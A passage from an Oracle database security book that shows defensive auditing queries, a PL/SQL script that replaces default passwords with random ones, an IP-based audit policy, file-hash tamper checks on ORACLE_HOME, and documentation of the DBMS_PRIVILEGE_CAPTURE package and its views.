RLOCKARD    pts/1 localhost.localdomain     RLOCKARD    pts/2 localhost.localdomain     RLOCKARD    pts/3 localhost.localdomain     RLOCKARD    unknown     localhost    5

Audits

2 3 1

Here we are getting a list of all logon failures starting at 12 a.m. yesterday: select * from unified_audit_trail where utl.timestamp_to_date(event_timestamp) >= trunc(sysdate-1)   and unified_audit_policies = 'ORA_LOGON_FAILURES'; This gives us too much information. At this point, we’re most interested in the user who is getting the logon failures and the count of logon failures. So, we can fine-tune this query a bit. Here we changed the selected columns to get user information along with a count of the events: select current_user, os_username, dbusername, count(*) from unified_audit_trail where unified_audit_policies = 'ORA_LOGON_FAILURES' and trunc(event_timestamp) >= trunc(sysdate-1) group by current_user, os_username, dbusername; Some of the unusual activity we look for are attempts to log into accounts that do not exist and accounts that have been expired and locked. This is normally a good indication that someone has made it past your firewall and is now attempting to access the database. For accounts that have been expired and locked, we set 30-character randomly generated passwords. The following is the script we use to go through and change all the default passwords. Once we’re done with this, we go back and set any necessary default accounts such as DBSNMP to a known password. We find it easier to lock all the doors than methodically move through and unlock only the doors that are necessary. 59

Chapter 2

Audits

First we are going to need a function that returns an impossible-to-­ crack password. Well, in all honesty, it’s not impossible to crack (that is because given enough horsepower, any password can be eventually cracked). This function will do one thing: return a 30-character randomly generated password of any printable character. There are a couple characters you can’t put in a password, so when we encounter those, we replace them with an integer between 0–9. DECLARE     -- get the list of users with default passwords.     CURSOR users_with_defpwd_cur IS         SELECT username         FROM sys.dba_users_with_defpwd;     stmt     VARCHAR2(2000);    -- the base sql statement     passwd   VARCHAR2(32);      -- the impossible_password.     FUNCTION impossible_password RETURN VARCHAR2 AS     -- will create a 30 character password wrapped in double quotes.     passwd           VARCHAR2(32);        -- this is the password we are returning.                                           -- we need 32 characters because we are                                           -- wrapping the password in double quotes.     p_invalid_char_3 VARCHAR2(1) := '"';  -- invalid password character 3 is '"'     p_invalid_char_4 VARCHAR2(1) := ';';  -- invalid password character 4 is ';'

60

Chapter 2

Audits

    BEGIN         passwd := SYS.dbms_random.STRING('p',30); -- get 30 printable characters.         -- find all the invalid characters and replace them with a random integer         -- between 0 and 9.         passwd := REPLACE(passwd, p_invalid_char_3, ceil(SYS. dbms_random.VALUE(-1,9)));         passwd := REPLACE(passwd, p_invalid_char_4, ceil(SYS. dbms_random.VALUE(-1,9)));         -- before we pass back the password, we need to put a double quote         -- on either side of it. This is because sometimes we are going to         -- get a strange character that will cause oracle to cough up a hairball.         passwd := '"' || passwd || '"';         RETURN passwd;     END; -- main procedure. BEGIN     FOR users_with_defpwd_rec IN users_with_defpwd_cur LOOP         passwd := impossible_password;         stmt := 'alter user ' || users_with_defpwd_rec.username || ' identified by ' || passwd;         EXECUTE IMMEDIATE stmt;     END LOOP; EXCEPTION WHEN OTHERS THEN     sys.dbms_output.put_line(sqlerrm);     sys.dbms_output.put_line(stmt); END; / 61

Chapter 2

Audits

Audit the Privileges Used in the Last 24 Hours This is helpful when looking at what privileges are actually being used from day to day. In the following example, you can see that we are using the EXEMPT_REDACTION_POLICY privilege to do a select against hr. employees where a redaction policy exists. select dbusername,         os_username,         role,         object_privileges,         system_privilege_used,         object_schema,         object_name from unified_audit_trail where event_timestamp >= trunc(sysdate-1); RLOCKARD        oracle         EXEMPT REDACTION POLICY   HR              EMPLOYEES RLOCKARD        oracle         CREATE SESSION

L ook for Select, Update, and Delete Statements Against Sensitive Tables That Bypass the Application This includes such things as using sqlplus, sqlcl, TOAD, and SQL Developer. One of our normal audits is to check to see whether anyone bypassed the application to access application tables. There are use cases where this is done; however, this is not a normal event. When this happens, we normally check these changes against a service ticket. Tables are accessed using Oracle Forms, so we check to see whether any client program that is not forms.exe has accessed the table. You can expand this more to check for specific actions such as updates, inserts, and deletes.

62

Chapter 2

Audits

select os_username, dbusername, userhost, terminal, client_ program_name, action_name, sql_text from unified_audit_trail where lower(client_program_name) != 'forms.exe'   and utl.timestamp_to_date(event_timestamp) > trunc(sysdate-1);

 nusual Application Activity Against Sensitive Tables U That Should Be Accessed from Only Specific IP Addresses You’ll have data that should be accessed only from specific IP addresses; however, there may be unique cases such as a manager VPNing in to do some work. You don’t want to stop the manager from doing their work; however, you need to closely monitor what users are doing from outside the assigned IP addresses to access data. For this, we are creating a table in the security schema that will hold data about what IP addresses can access what tables. At this point, this table is not used to limit access. With virtual private databases, you can create policies to limit access to specific data. We are going to use this to trigger if an audit record should be created. The premise is that a user connects to the database from outside a set of approved IP addresses. If access to the table is from outside of the approved IP addresses, generate an audit trail. A good use case for this is that the HR department has a set of assigned IP addresses and it’s normal for them to be working on the hr. employees table. Now, if someone from outside the HR department does a select against that set of table, then create an audit record. We can do this with both FGA and unified audits. create table security_dat.table_access (     owner varchar2(128) not null,     table_name varchar2(128) not null,

63

Chapter 2

Audits

    ip_address varchar2(15) not null,     created_by varchar2(128) not null,     last_update_date date not null ); insert into security_dat.table_access values ( 'HR', 'EMPLOYEES', '127.0.0.1', 'RLOCKARD', SYSDATE); commit; Now we grant the permissions needed for the code to work. Note, this will be using code-based access control, which is covered in great detail in Chapter 6. -- create the role and grant the necessary privileges. create role sec_table_access_role; grant select on security_dat.table_access to security_api; grant select on security_dat.table_access to sec_table_access_ role; grant sec_table_access_role to security_api with delegate option; grant select on security_dat.table_access to security_api; Now we are going to create a singleton package in the security_api schema that will be used to test whether the access should be audited. It is a good practice to separate the code and data; we’ll go into much more detail on this in Chapter 6. Note the use of authid current_user. This will be covered in detail in Chapter 6. create or replace editionable package security_api.pkg_table_ access_check authid current_user as   function f_check_access(p_owner      varchar2, 64

Chapter 2

Audits

                           p_table_name varchar2) return boolean; end pkg_table_access_check; / -- connect to the security_api schema only through the proxy user rlockard. Again, setting up a proxy user and schema only account will be covered in detail in the secure coding chapter. conn rlockard[security_api]@orclpdb1 -- now we are going to grant sec_table_access_role to the package pkg_table_access_check. grant sec_table_access_role to package pkg_table_access_check; create or replace package body security_api.pkg_table_access_ check as   function f_check_access(p_owner      varchar2,                              p_table_name varchar2) return boolean is   x integer; -- just a dumb variable to get the count   begin     -- if the ip address is not authorized then return false.     -- else return true.     select count(*)     into x     from security_dat.table_access     where owner      = p_owner       and table_name = p_table_name       and ip_address = sys_context('userenv', 'IP_ADDRESS');     if x > 0 then       return true;     else       return false; 65

Chapter 2

Audits

    end if;   -- if something goes wrong, by default we want to return false. This will   -- trigger an audit record.   exception when others then     return false;   end f_check_access; end pkg_table_access_check; / -- the security admin user will be executing the package. grant execute on security_api.pkg_table_access_check to sec_ admin; create audit policy aud_hr_emp_access_pol actions select on hr.employees,               update on hr.employees,               insert on hr.employees,               delete on hr.employees when not 'security_api.table_access_check(' || "" || 'hr' || ""                                            || ',' || ""                                            ||  'employees' || ""                                            || ')' evaluate per access; -- Enable the policy. audit policy aud_hr_emp_access_pol;

66

Chapter 2

Audits

What Are You Looking for When You Audit? This is a question that only your organization can answer. Some organizations are sensitive to how information is accessed; other organizations are sensitive to what information was changed. Your audit group should provide you with guidance on where to put your audit focus. Now, we’ve worked with highly sensitive information for a lot of customers. However you perform your audits, as you study the audit reports, you will start to see normal usage patterns. This is helpful because the brain is optimized to notice things that are unusual. You will start to recognize things that are out of place such as someone accessing accounts payable information from the human resources subnet or an operational DBA doing updates on human resources information. The following are some things we normally audit.

 ccessing Information Outside A of the Trusted Path Different groups such as accounts payable and human resources are frequently on different subnets. Once we get the information about what subnets are accessing different schemas, we start fine-tuning our auditing to check to see whether people are accessing the human resources data from outside its subnet. If an application is normally accessed through an application server, your access path may look something like this: workstation ➤ application server ➤ database. Not too long ago we found an unauthorized application on one of our critical financial systems. This application was designed to bypass all the normal application and give a set of users direct access to the underlying data. What made it interesting was the application resided on the test application server. We found it because the test application server started showing up in the production audit reports. After talking to the application owner and the developer, 67

Chapter 2

Audits

we learned this application was put on the test application server so the inspector general would not ask about it. This is a clear case of both configuration drift and going outside the trusted path. Once you have defined your trusted path, additional paths to get to the data should be fully vetted. Now there are some things that we consider part of the trusted path and still flexible. The accounts payable group normally works Monday to Friday, from 8 a.m. to 5 p.m. When there is a push to take care of a backlog, you start seeing Saturday and Sunday in your audit reports. This is not a normal occurrence; however, it is explainable.

T he Policy Needs to Tell Who, What, When, and Where It’s a good practice to know what is happening in your database. After a while, you will start to see a pattern emerging for how your system is normally used. After dropping into a new shop, we can normally get a good idea of how a system is being used by reviewing a couple months of the audit logs. This will tell us who is connecting to the system, what they are doing, when are there doing it, and where they are connecting from. This is the unscientific part of auditing; once you have a feel for your system, you will start to notice when something is not normal. These things will just start to stand out. For one of our customers, we noticed that updates to a specific table were occurring at 3 a.m.; this was from a cron job. After a while, we started to notice updates on the table around 8 a.m. It turned out one of the system administrators were changing a status flag for a customer from suspended to active. Further investigation found that the customer was a friend of the SA and the SA was doing his friend a “favor.”

68

Chapter 2

Audits

W  ho Your audit must tell who performed the action. Without this, your audit is useless. If you don’t know who accessed information, you can’t go back to that person and get further information about why something was done. We’re not surprised that many applications still have the application server log into the database as the application user, and all audit data is recorded as the application. This practice can be overcome by using real application security or another identity management solution. For more information on identity preservation, read Chapter 7.

W  hat The action, return_code, and sql_statement columns will tell you what happened. You need to have this information to figure out what is happening in your database. In Oracle 18c, there are 239 different audit actions, which have everything from SELECT to EXECUTE. To get a list of all the potential audit actions, use this: select action_name from sys.audit_actions;

W  hen The event_timestamp column will tell you when something happened. This is useful because you can nail down exactly when an event occurred. You will find some actions are normal during specific periods of time. This could be the accounts payable group processing payments Monday to Friday from 8 a.m. to 5 p.m. If you start seeing transactions posted outside of this window, then you’ll want to investigate.

69

Chapter 2

Audits

W  here Learning where the action happened tells a lot about the use of your systems. Let’s go back to our accounts payable systems. We know to expect action in the accounts payable system during a window of time. We also know that all the work in the accounts payable system happens from a specific subnet and using a specific access path, in other words, from workstation to application server to database. This pattern will likely stay pretty consistent, so if you start to notice actions happening outside of that well-defined access path (the trusted path), then you need to investigate why this is happening.

C  onfiguration Drift We would all love for our systems to be configured securely, operating as designed, and performing to customer expectations. This is not the world we live in. The reality is that we make changes to the system components to deliver new functionality and to fix bugs. After a bit of time, the system is said to have drifted. This configuration drift comes in many forms. You can change some PL/SQL to fix a bug, add a new user type with a new set of permissions, add a column to a table, and so on. It is imperative to track and understand all the changes in your system. Every shop we’ve ever been in has had change control, and a few others even have gone as far as having internal audits to match every change in the system against a service ticket number. As time goes on, the confidence in the security of your systems will go down. This does not normally get addressed until either you have a security event or your systems go through a compliance audit. Once you have the findings from the compliance audit, you can start remediating the vulnerabilities (see Figure 2-1, and Figure 2-2).

70

Chapter 2

Audits

Figure 2-1.  Confidence in security versus time By constantly monitoring changes to your systems, matching those changes back to a ticket, and confirming the changes were both proper and authorized, you can address any security issues as they happen (see Figure 2-2).

71

Chapter 2

Audits

Figure 2-2.  Security confidence versus time while continually monitoring the audit trail for issues of configuration drift

ORACLE_HOME It’s important to keep track of what may have changed in your ORACLE_HOME directory. An attacker can make a change to any number of files that could impact audits, performance, and the general security of your database. Because of this, we have a script that gets an SHA256 hash of key files under ORACLE_HOME. The cron job gets the hash and compares it to the baseline. If there are any differences, then we start digging to find out what happened. find $ORACLE_HOME/lib/ | xargs find $ORACLE_HOME/bin/ | xargs find $ORACLE_HOME/dbs/ | xargs find $ORACLE_HOME/rdbms/admin/ keep_file.txt

72

sha256sum > lib_keep_file.txt sha256sum > bin_keep_file.txt sha256sum > dbs_keep_file.txt | xargs sha256sum > rdbms_admin_

Chapter 2

Audits

find $ORACLE_HOME -name "*.ora" | xargs sha256sum > config_ keep_file.txt #For each type of keep file above build compare files then do a diff on the file. If you spot differences, then you'll want to dig in and find out what is happening. find $ORACLE_HOME -name "*.ora" | xargs sha256sum > config_20190123.txt The following is some sample output. (The lines are wrapped because of size limitations of the book.) The sha256sum function will always return a unique 64-digit hex number (the hash). You’ll look for the difference in the hash. Diff is a good tool for that. ce6945e7c27f1590963d9edf18b481b460455b75630ea4a93b89a40a6f67a309   /opt/oracle/product/18c/dbhome_1/dbs/init.ora cb4fa6c6c9415ee08c3212138fbeddd948d81d34c37a338d204bcf5b3b540aa6   /opt/oracle/product/18c/dbhome_1/dbs/spfileORCLCDB.ora 6108339da08b9f93dded45df89aef1723a06d12c1bc9002865530db1df134dc6   /opt/oracle/product/18c/dbhome_1/drdaas/admin/drdaas.ora 70682ba63d68c98ed1363556bec671bbdd69c6ca19ad88fc9ec0c07587414d2b   /opt/oracle/product/18c/dbhome_1/env.ora 489e4fbd7ce65b709968a090348f7d887482b3d9ada45918bc58ee11c3224fa7   /opt/oracle/product/18c/dbhome_1/hs/admin/extproc.ora 8715ea802bc5017b2a889e56c0b5fc8e99072c1f502dddbbb419a37cd5128191   /opt/oracle/product/18c/dbhome_1/hs/admin/initdg4odbc.ora ddf50873b2b1294bfd5676190744ab635d4312b64849f21ff012c8cca00cb9df   /opt/oracle/product/18c/dbhome_1/inventory/Templates/drdaas /admin/drdaas.ora

73

Chapter 2

Audits

New Objects You can audit for create statements on application objects along with user-­created objects. We had a case not too long ago where a user had create table privileges. This user created an external table in his schema of some sensitive encrypted data that he normally worked with. This was an unauthorized event, and he could have easily walked out the door with some very sensitive information. Always check what new objects have been created and follow up on them.

Altered Objects Objects get altered all the time in production databases. This can happen during maintenance to fix a bug. If you have objects that have been altered that will come up in your morning report, track the change to a ticket number or your change control system. Don’t stop with just matching up a ticket number to a change. Check to make sure that what the ticket says is what actually changed.

74

CHAPTER 3

Privilege Analysis One of the top things an attacker does is use a compromised account to move laterally through the network. The more privileges the account has, the more damage an attacker can do. For this reason, you need to limit accounts to only the privileges required to function, and nothing else. We know there are operational and organizational issues with keeping accounts clean of unneeded privileges. Over the years we’ve seen many accounts accumulating privileges that never get cleaned up. Then there is a security audit, and you need to dig through 10,000 or even 20,000 privileges that have been granted to accounts. If you have time to dig through them all, trying to pull back some of the privileges can be like pulling teeth. Users get upset about their privileges being revoked and will try to justify those unused privileges. You also have to deal with users who wind up working on a temporary project that requires some extra privileges, and when the project is over, the DBAs don’t get the memo that the project is over, so those extra privileges stay in place. Of course, you also need to deal with users who are cross-functional, with their hands on many parts of the application. We like to call them power users (but sometimes we refer to them as security headaches because it’s difficult to track why they have some of these privileges). We’ve also experienced asking managers why a user needs a set of privileges that don’t seem to apply to their position and having the manager push back. In these cases, you need to understand the position of the manager; their loyalty is to their employee, not necessarily the IT © Osama Mustafa, Robert P. Lockard 2019 O. Mustafa and R. P. Lockard, Oracle Database Application Security, https://doi.org/10.1007/978-1-4842-5367-0_3

75

Chapter 3

Privilege Analysis

security people. The manager wants to keep peace in the group, so the users wind up keeping the unneeded privileges. Then you have the application that’s been in production for years. It’s running smoothly; however, there is thin documentation, if any, why the application has certain privileges. This could be the case of the application server connecting to the application account, the application account having powerful roles like DBA or DATAPUMP_EXP_FULL_DATABASE, or all of the above and more. However, when an application is in production, everyone is cautious of removing permissions because it might break something. In this case, you can make changes in our test environment and do regression testing on the privilege changes, before making those changes in production. In Oracle 12.1 and newer, we now have the ability to analyze what privileges are being used by accounts using the SYS.DBMS_PRIVILEGE_ CAPTURE package. This also shows us what privileges an account has but is not using, which allows us to fine-tune account privileges and even create accounts that are fine-tuned for specific needs such as application connection accounts for the application server and utility accounts used to export application tables. Before we get too far, let’s look at the SYS.DBMS_PRIVILEGE_CAPTURE package.

SYS.DBMS_PRIVILEGE_CAPTURE SYS.DBMS_PRIVILEGE_CAPTURE works on the container database and on pluggable databases; however, you cannot run it globally. You need to run it on the individual databases and not run it on the SYS user. There is good reason why you would not want to run privilege capture on SYS. The SYS account is there for a reason, just like the root account in Linux and Unix. We’re not going to mess with SYS or try to analyze its privileges.

76

Chapter 3

Privilege Analysis

When you start SYS.DBMS_PRIVILEGE_CAPTURE, it gathers the privileges that an account uses during the capture window.1 You have four ways to gather privileges. •

You can capture the privileges used in all of the database.



You can capture the privileges used based on a specific role.



You can capture the privileges used based on a context (sys_context function).



You can capture the privileges used based on the role and context used.

R  equirements The account that runs SYS.DBMS_PRIVILEGE_CAPTURE needs to be granted the CAPTURE_ADMIN role and the connect privilege. Before we go too far, we’re going to change our sec_admin user to a role with those privileges. We are going to grant the CAPTURE_ADMIN privilege to the SEC_ADMIN_ ROL role and then grant that role to our security user, rob_security. create role sec_admin_rol; grant capture_admin to sec_admin_rol; grant sec_admin_rol to rob_security;

C  apture Modes There are four modes to capturing privileges, as shown in Table 3-1. When these conditions are true, then all privileges that are used will be captured.  indow is defined as the period of time between when the capture starts and W when the capture ends.

1

77

Chapter 3

Privilege Analysis

Table 3-1.  Capture Modes Mode

Constant

Value

Database

G_DATABASE

1

Role

G_ROLE

2

Context

G_CONTEXT

3

Role and context

G_ROLE_AND_CONTEXT

4

Database When you use G_DATABASE, SYS.DBMS_PRIVILEGE_CAPTURE captures all the privileges that are used during the capture window. This will generate quite a bit of output. We’ll frequently use this when we first walk into a database to analyze it. We have also used this mode in the past on a production system to get a full picture of what it was doing. type => sys.dbms_privilege_capture.g_database);

Role When you use G_ROLE, SYS.DBMS_PRIVILEGE_CAPTURE captures all the privileges used when that role is invoked. We frequently use this to analyze if certain roles have too many privileges. One of our customers had a role that is assigned to processors. Over the years, the role has had privileges added to it, and to be honest, some of them just didn’t make sense. After running SYS.DBMS_PRIVILEGE_CAPTURE on the role, we were able to trim almost 20 percent of the privileges that were granted to the role. type => sys.dbms_privilege_capture.G_ROLE, roles => role_name_list('PROCESSOR_ROL', 'CASHIER_ROL');

78

Chapter 3

Privilege Analysis

Context When you use G_CONTEXT, SYS.DBMS_PRIVILEGE_CAPTURE captures all of the privileges that are used when the context test is true. Here we are testing the current username. If the user is RLOCKARD, we capture the privileges used. type => sys.dbms_privilege_capture.g_context, condition => 'sys_context("USERENV", "SESSION_USER") = "RLOCKARD"'); You can use any off-the-self context spaces such as USERENV or SYS_SESSION_ROLES or create your own context.

Role and Context When you use G_ROLE_AND_CONTEXT, SYS.DBMS_PRIVILEGE_CAPTURE captures all the privileges that are used when both the context tests are true and the specified role is used. Here we are checking if the session is using the CAHSIER_ROL and the user is bthacher: type => dbms_privilege_capture.g_role_and_context, roles => role_name_list('PROCESSOR_ROL', 'CASHIER_ROL'), condition => 'SYS_CONTEXT("USERENV", "SESSION_USER") = "BTHATCHER"'

Procedures The following are the important procedures for creating a privilege analysis report.

79

Chapter 3

Privilege Analysis

CREATE_CAPTURE The create capture procedure creates a capture policy that defines the conditions when a privilege is captured, along with giving the name. –– The name parameter can be up to 128 characters and will appear in the capture column of the privilege capture views. –– The description parameter can be up to 1,024 characters and should be descriptive of the capture policy. –– The type parameter is one of four values: •

dbms_privilege_capture.G_DATABASE



dbms_privilege_capture.G_ROLE



dbms_prvilege_capture.G_CONTEXT



dbms_privilege_capture.G_ROLE_AND_CONTEXT

–– The roles parameter is a list of roles you would like to test in the capture. –– The condition parameter is the context you want to test for the capture. Note that you need to wrap your context in quotes, as shown here: 'SYS_CONTEXT("USERENV", "SESSION_USER") = "JSOKOLOVA "' Here is the dbms_privilege_captrure.create_capture procedure specification:

80

Chapter 3

Privilege Analysis

-- specification sys.dbms_privilege_capture.create_capture(       name          in    varchar2,       description   in    varchar2,       type          in    varchar2,       roles         in    varchar2,       condition     in    varchar2); Create a privilege capture policy for the full database. begin sys.dbms_privilege_capture.create_capture( name => 'database_full_capture1', description => 'initial full database priv capture', type => sys.dbms_privilege_capture.g_database); end; / Create a capture based on a context. In this example, every privilege that rlockard uses will have its privilege usage captured. begin sys.dbms_privilege_capture.create_capture( name => 'check_robs_privs', type => sys.dbms_privilege_capture.g_context, condition => 'sys_context("USERENV", "SESSION_USER") = "RLOCKARD"'); end; / Create a capture based on a role. In this example, anyone with the PROCESSOR_ROL role or the CASHIER_ROL role will have their privilege usage captured.

81

Chapter 3

Privilege Analysis

begin sys.dbms_privilege_capture.create_capture( name => 'check_processor_and_cashier_roles', type => sys.dbms_privilege_capture.G_ROLE, roles => role_name_list('PROCESSOR_ROL', 'CASHIER_ROL'); end; / Create a capture based on roles and context. In this example, when bthacher uses the roles processor_rol and cashier_rol, those privileges will be captured. begin sys.dbms_privilege_capture.create_capture( name => 'check_beckys_use_of_processor_and_cashier', type => dbms_privilege_capture.g_role_and_context, roles => role_name_list('PROCESSOR_ROL', 'CASHIER_ROL'), condition => 'SYS_CONTEXT("USERENV", "SESSION_USER") = "BTHATCHER"' ); end;

ENABLE_CAPTURE After you’ve created the capture policy, you’ll need to enable it to start the capture. For the first run, we normally create the capture policy and then enable the capture in the same PL/SQL block. The parameters NAME and RUN_NAME are defined as varchar2(128). Frequently, after running a privilege capture, we’ll make a few adjustments to a privilege and run the capture again to test the changes. Instead of making a new capture policy each time, we’ll change the run_name of the capture (run_name => 'capture processor pass 1') and then

82

Chapter 3

Privilege Analysis

increment the number for each run. You have 128 characters to use in your run name, so make it as descriptive as you want. sys.dbms_privilege_capture.enable_capture( name in varchar2, run_name in varchar2 default null ); Start capturing Becky’s privilege usage. begin sys.dbms_privilege_capture.enable_capture( name => 'check_beckys_use_of_processor_and_cashier', run_name => 'capture_Beck_Thatcher_pass_1'); end; /

DISABLE_CAPTURE After you’re done capturing privileges, you’ll need to disable the capture so you can generate the results. The only parameter is the name parameter. Here is the procedure specification for dbms_privilege_capture. disable_capture: sys.dbms_privilege_capture.disable_capture( NAME IN VARCHAR2 ); Disable the capture for check_beckys_use_of_processor_and_ cashier. sys.dbms_privilege_capture.disable_capture( name => 'check_beckys_use_of_processor_and_cashier' ); / 83

Chapter 3

Privilege Analysis

GENERATE_RESULTS Once we’re done capturing the privileges for a run, we need to generate the results. The overhead of running a privilege capture is pretty low; however, generating the results will take some CPU and may take a few seconds to finish, depending on how long the privilege capture runs. Here is the procedure specification for ­dbms_privilege_capture. generate_results: sys.dbms_privilege_capture.generate_result( name in varchar2 run_name in varchar2 default null dependency in pl/sql boolean default false ); Generate the results for the privilege capture. begin   sys.dbms_privilege_capture.generate_result('check_ beckys_use_of_processor_and_cashier'); end; /

DROP_CAPTURE After a while, just like anything else, you’ll want to clean up old captures. To do that, you’ll need to drop them. It’s quite simple; just execute the following: begin sys.dbms_privilege_capture.drop_capture(name => ''); end; /

84

Chapter 3

Privilege Analysis

Drop the privilege capture. begin sys.dbms_privilege_capture.drop_capture('check_beckys_use_of_ processor_and_cashier'); end; /

V  iews After a privilege analysis, the following views are populated with the privilege usage data.

D  BA_USED_PRIVS This will report the privileges that were used in the run. This is normally the place we start to see what privileges were used. Table 3-2 defines the columns for dba_used_privs. select capture, module, username, used_role, obj_priv, object_owner, object_name from sys.dba_used_privs where capture = 'fees_capture'; fees_capture fees_capture fees_capture fees_capture fees_capture fees_capture fees_capture fees_capture fees_capture

FEES_PKG  BECKY  WEBUSER  SELECT FEES_PKG  BECKY  SUPER    SELECT FEES_PKG  BECKY  SUPER    SELECT FEES_PKG  BECKY  WEBUSER  SELECT FEES_PKG  BECKY  WEBUSER  SELECT FEES_PKG  BECKY  WEBUSER  SELECT FEES_PKG  BECKY  WEBUSER  SELECT FEES_PKG  BECKY  WEBUSER  SELECT FEES_PKG  BECKY  WEBUSER  SELECT

RATES JURISDICTIONRATES_VW JURISDICTIONRATES_VW JURISDICTIONS JURISDICTIONS JURISDICTIONS JURISDICTIONS RATES RATES

85

Chapter 3

Privilege Analysis

fees_capture fees_capture fees_capture fees_capture

FEES_PKG  BECKY  PUBLIC   SELECT FEES_PKG  BECKY  WEBUSER  SELECT FEES_PKG  BECKY  WEBUSER  SELECT FEES_PKG  BECKY  WEBUSER  SELECT

DUAL RATES JURISDICTIONS RATES

Table 3-2.  Column Definitions of dba_used_privs Column Name

Type

Description

CAPTURE

VARCHAR2(128)

The name of the privilege capture that was defined in sys.dbms_privilege_ capture.create_capture.

SEQUENCE

NUMBER

The sequence of the run. Each time you run the privilege capture, the sequence will increment.

OS_USER

VARCHAR2(128)

The OS user that was captured during the privilege capture run.

USERHOST

VARCHAR2(128)

The client host machine that was captured during the privilege analysis run. In other words, we are capturing for database user Jessica, and Jessica uses machine name Jessis_Machine. Then that machine name would be reflected in this column.

MODULE

VARCHAR2(64)

The module that executed during the capture. We frequently use this column when we’re doing an analysis of specific packages and client programs to figure out what privileges they actually need.

USER_NAME

VARCHAR2(128)

The Oracle username that logged in and was captured during the privilege analysis run.

(continued) 86

Chapter 3

Privilege Analysis

Table 3-2.  (continued) Column Name

Type

Description

USED_ROLE

VARCHAR2(128)

The role used to execute the statements.

SYS_PRIV

VARCHAR2(40)

The system privilege that was used during the privilege capture run.

OBJ_PRIV

VARCHAR2(40)

The object privilege used to execute the statements.

USER_PRIV

VARCHAR2(18)

The user privilege that was used during the privilege run. If you’re calling a package in another schema that is executing with definer’s rights, this column will have the schema name of the package.

OBJECT_OWNER VARCHAR2(128)

The owner of the object being acted on.

OBJECT_TYPE

VARCHAR2(28)

The type of object being acted on (in other words, TYPE, TABLE, PACKAGE, etc.).

COLUMN_NAME

VARCHAR2(128)

The name of the column acted on during the privilege capture.

OPTION$

NUMBER

Was the grant or admin option used? 0 = grant or admin not used 1 = grant or admin used

PATH

GRANT_PATH

This is the grant path that was used to execute the statements. When there are multiple entries, you can use this to figure out how the privilege got to the user.

87

Chapter 3

Privilege Analysis

D  BA_USED_SYSPRIVS Find the system privileges that were used during the capture run. You can get a listing of all the system privileges by querying sys.dba_sys_privs. Here we are getting the system privileges used for our fees capture. You’ll notice a problem with the output. It appears we’ve run this from our DBA account that was over-privileged. This should have been run by the test user with the required roles. Table 3-3 defines the column for the dba_used_sysprivs view. select capture, module, os_user, used_role, sys_priv, admin_option from sys.dba_used_sysprivs where capture = 'fees_capture'; fees_capture  FEES_PKG    \rlockard              IMP_FULL_DATABASE  EXECUTE ANY PROCEDURE    0 fees_capture  frmweb.exe  BILLING_TST\rlockard   IMP_FULL_DATABASE  EXECUTE ANY PROCEDURE    0 fees_capture  FEES_PKG    BILLING_TST\rlockard   DATAPUMP_IMP_FULL_DATABASE SELECT ANY TABLE    0 fees_capture  FEES_PKG    BILLING_TST\rlockard   IMP_FULL_DATABASE   UPDATE ANY TABLE    0 fees_capture  FEES_PKG    BILLING_TST\rlockard  DBA     DEBUG ANY PROCEDURE    0 Table 3-3 defines the columns for dba_used_sysprivs.

88

Chapter 3

Privilege Analysis

Table 3-3.  Column Definitions of dba_used_sysprivs Column Name Type

Description

CAPTURE

VARCHAR2(128)

The name of the privilege capture that was defined in sys.dbms_privilege_ capture.create_capture.

SEQUENCE

NUMBER

The sequence of the run. Each time you run the privilege capture, the sequence will increment.

OS_USER

VARCHAR2(128)

The OS user that was captured during the privilege capture run.

USERHOST

VARCHAR2(128)

The client host machine that was captured during the privilege analysis run. In other words, we are capturing for database user Jessica, and Jessica uses machine name Jessis_Machine. Then that machine name would be reflected in this column.

MODULE

VARCHAR2(64)

The module that executed during the capture. We frequently use this column when we’re doing an analysis of specific packages and client programs to figure out what privileges they actually need.

USER_NAME

VARCHAR2(128)

The Oracle username that logged in and was captured during the privilege analysis run.

USED_ROLE

VARCHAR2(128)

The role used to execute the statements.

SYS_PRIV

VARCHAR2(40)

The system privilege that was used during the privilege capture run.

(continued)

89

Chapter 3

Privilege Analysis

Table 3-3.  (continued) Column Name Type

Description

GRANT_ OPTION

NUMBER

Was the grant or admin option used? 0 = grant or admin not used 1 = grant or admin used

RUN_NAME

VARCHAR2(128)

The name of the run during the privilege capture that is defined in the sys.dbms_ privilege_capture.enable_capture run_name parameter.

D  BA_USED_OBJPRIVS Use this view to get what object privileges were used during the privilege capture. select capture, module, username, used_role, obj_priv, object_owner, object_name from sys.dba_used_objprivs where capture = 'fees_capture'; fees_capture  FEES_PKG  RLOCKARD  IRPWEBUSER  SELECT BILLING  RATES fees_capture  FEES_PKG  RLOCKARD  PUBLIC      SELECT SYS      DUAL fees_capture  FEES_PKG  RLOCKARD  IRPWEBUSER  SELECT BILLING  JURISDICTIONS Table 3-4 defines the columns for dba_used_objprivs.

90

Chapter 3

Privilege Analysis

Table 3-4.  Column Definitions for dba_used_objprivs Column Name

Type

Description

CAPTURE

VARCHAR2(128)

The name of the privilege capture that was defined in sys.dbms_privilege_ capture.create_capture.

SEQUENCE

NUMBER

The sequence of the run. Each time you run the privilege capture, the sequence will increment.

OS_USER

VARCHAR2(128)

The OS user that was captured during the privilege capture run.

USERHOST

VARCHAR2(128)

The client host machine that was captured during the privilege analysis run. In other words, we are capturing for database user Jessica, and Jessica uses machine name Jessis_Machine. Then that machine name would be reflected in this column.

MODULE

VARCHAR2(64)

The module that executed during the capture. We frequently use this column when we’re doing an analysis of specific packages and client programs to figure out what privileges they actually need.

USER_NAME

VARCHAR2(128)

The Oracle username that logged in and was captured during the privilege analysis run.

USED_ROLE

VARCHAR2(128)

The role used to execute the statements.

OBJECT_PRIV

VARCHAR2(40)

The object privilege used during the privilege capture run.

(continued)

91

Chapter 3

Privilege Analysis

Table 3-4.  (continued) Column Name

Type

Description

OBJECT_NAME

VARCHAR2(128)

The name of the object that was acted on during the privilege capture.

OBJECT_TYPE

VARCHAR2(23)

The type of object that was acted on during the privilege capture (in other words, TYPE, TABLE, PACKAGE, etc.).

COLUMN_NAME

VARCHAR2(128)

The name of the column acted on during the privilege capture.

GRANT_OPTION NUMBER

Was the grant or admin option used? 0 = grant or admin not used 1 = grant or admin used

RUN_NAME

The name of the run during the privilege capture that is defined in the sys.dbms_ privilege_capture.enable_capture run_name parameter.

VARCHAR2(128)

D  BA_USED_USERPRIVS Use this view to get what user privileges were used. select capture, os_user, module, username, used_role, user_ priv, inuser from sys.dba_used_userprivs where capture = 'fees_capture'; fees_capture rlockard    frmbld.exe    XDB        INHERIT PRIVILEGES   SYS Table 3-5 defines the columns for dba_used_userprivs.

92

Chapter 3

Privilege Analysis

Table 3-5.  Column Definitions for dba_used_userprivs Column Name

Type

Description

